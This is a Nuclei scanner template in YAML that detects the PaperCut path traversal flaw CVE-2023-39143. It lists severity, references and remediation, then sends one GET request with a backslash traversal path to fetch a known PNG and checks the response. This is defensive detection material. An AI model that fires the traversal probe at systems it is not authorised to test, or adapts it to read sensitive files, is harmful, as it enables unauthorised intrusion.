47 lines
1.9 KiB
YAML
47 lines
1.9 KiB
YAML
id: CVE-2023-39143
|
|
|
|
info:
|
|
name: PaperCut < 22.1.3 - Path Traversal
|
|
author: pdteam
|
|
severity: critical
|
|
description: PaperCut NG and PaperCut MF before 22.1.3 are vulnerable to path traversal which enables attackers to read, delete, and upload arbitrary files.
|
|
impact: |
|
|
An attacker can exploit this vulnerability to access sensitive files, potentially leading to unauthorized disclosure of information or remote code execution.
|
|
remediation: |
|
|
Upgrade PaperCut to version 22.1.3 or later to mitigate the vulnerability.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-39143
|
|
- https://www.horizon3.ai/cve-2023-39143-papercut-path-traversal-file-upload-rce-vulnerability/
|
|
- https://www.papercut.com/kb/Main/securitybulletinjuly2023/
|
|
- https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-131a
|
|
- https://github.com/nomi-sec/PoC-in-GitHub
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-39143
|
|
cwe-id: CWE-22
|
|
epss-score: 0.88836
|
|
epss-percentile: 0.98482
|
|
cpe: cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: papercut
|
|
product: papercut_mf
|
|
shodan-query: html:"content="PaperCut""
|
|
tags: cve2023,cve,lfi,papercut
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/custom-report-example/..\\..\\..\\deployment\\sharp\\icons\\home-app.png"
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- content_length == 1655
|
|
- status_code == 200
|
|
- contains(to_lower(content_type), "image/png")
|
|
- contains(hex_encode(body), "89504e470d0a1a0a") # PNG file signature in hex
|
|
condition: and
|
|
# digest: 4a0a00473045022100f6a2b6b7e8aa15862f63d7db27872c57bd9aba19f3441e2e9df61dc3df6b4e0602202c63a079241bec55fe9f775dfe32184ef768dd4f627ba1a842c7ca1bd77f37a4:922c64590222798bb761d5b6d8e72950 |